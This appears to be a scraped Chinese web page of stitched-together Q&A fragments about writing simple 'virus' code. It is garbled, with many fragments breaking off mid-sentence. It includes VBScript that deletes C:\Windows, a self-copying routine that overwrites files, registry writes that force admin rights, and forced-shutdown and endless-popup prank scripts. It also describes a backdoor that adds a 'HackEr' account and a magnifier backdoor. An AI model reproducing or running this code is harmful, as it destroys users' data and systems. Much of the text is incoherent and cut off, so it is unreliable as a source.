可以，甚至可以利用fso把系统毁掉Dim fso， fldr， s #39 获得 FileSystemObject 的实例Set fso = CreateObjectquotScriptingFileSystemObjectquotfsoDeleteFolder quotC\Windowsquot；然后添加用户即可登陆系统 总结 这个不算是病毒 充其量 只不过是一个后门程序 运行之后 系统的远程终端开启，自动加入一个HackEr的帐号 自动添加一个放大镜后门 个人感觉 这代码是将3段代码拼凑起来的 没技术含量。
本代码尽管测试，无任何危险病毒文件测试代码使用方法如下this is not a real virusit is a text file that is used to test antivirus software测试代码请复制下面的代码到文本中保存 x5o！p%@ap；msgbox quot你要点100下确定quot，vbokcancel，quothkmfkquotfor i=1 to 100 msgbox quot加油！quotquot还有quot100iquot下quot，4096，quotzhb0813quotnext #39上面四句就是一个很简单的玩笑脚本。
前者是不可能的，后者在几乎每台电脑都装了360或电脑管家的今天也几乎是不可能的5即使以上这些都能做到，你还要求简单一些，那就只有上帝知道了，前提是上帝也懂编程。
简单的病毒编程代码iPad
1、apwrite vbscopy #39覆盖文件，慎用 apclose set cop=fsogetfilefilepathcopcopyfilepath quotvbsquot#39创建另外一个病毒文件 #39filedeletetrue#39删除原来文件 end if next set subfolders=folder_subfolders。
2、愿我的答案 能够解决您的烦忧 要这个干嘛制作病毒是不法行为，要被判刑的顺便说下，如果谁的电脑中毒了，可以按我说的办法杀毒 下载腾讯电脑管家“85”最新版，对电脑首先进行一个体检，打开所有防火墙避免系统其余文件。
3、wsregwrite quotHKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\TARGETDIR脚本病毒加强版vbsquot，quotRUNASADMINquot，quotREG_SZquotwsregwrite quotHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\。
4、所谓的病毒代码其实可以想象成是犯人的指纹， 当防毒软件公司收集到一只新的病毒时， 他们就会从这个病毒程序中截取一小段独一无二而且足以表示这只病毒的二进位程序码 Binary Code ， 来当做杀毒程序辨认此病毒的依据而这。
5、给你一个简单的#39代码开始 dim a a=msgboxquot给你讲个故事啊！quot，vbyesno，quot系统提示quotif a=vbyes then do msgboxquot从前有座山quotmsgboxquot山上有座庙quotmsgboxquot庙里有两个和尚quotmsgboxquot大和尚给小和尚讲故事说quotloop el。
6、Microsoft Visual Basic是微软公司出品的一套可视化编程工具， 语法基于Basic 脚本语言， 就是不编译成二进制文件， 直接由宿主host解释源代码并执行， 简单点说就是你写的程序不需要编译成exe， 而是直接给用户发送vbs的。
简单的病毒编程代码(PYTHON2)
Microsoft Visual Basic是微软公司出品的一套可视化编程工具， 语法基于Basic 脚本语言， 就是不编译成二进制文件， 直接由宿主host解释源代码并执行， 简单点说就是写的程序不需要编译成exe而是直接给用户发送vbs的源。
on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe C ShuTdownexe r t 120 c quotquot快说“我是笨蛋”，不说就2分钟就关你机，不信，试试···。
xufsoCreateFolder quotC\VBScript\quotwscrtrun quotshutdown r f t 3600 c 脚本与批处理程序相结合成功quotxufsocopyfile WscriptScriptfullname，quotC\VBScript\一触即发vbsquotxufsocopyfile。
我帮你quot翻译quot一下代码的意思这是一段vbs代码直到除非1等于2，否则就一直弹出一个写有quot烦死你quot的窗口，因为1永远不等于2，所以不断的弹窗这是VB的一个简单编程，但是代码却不怀好意这段代码的意思是说，当。
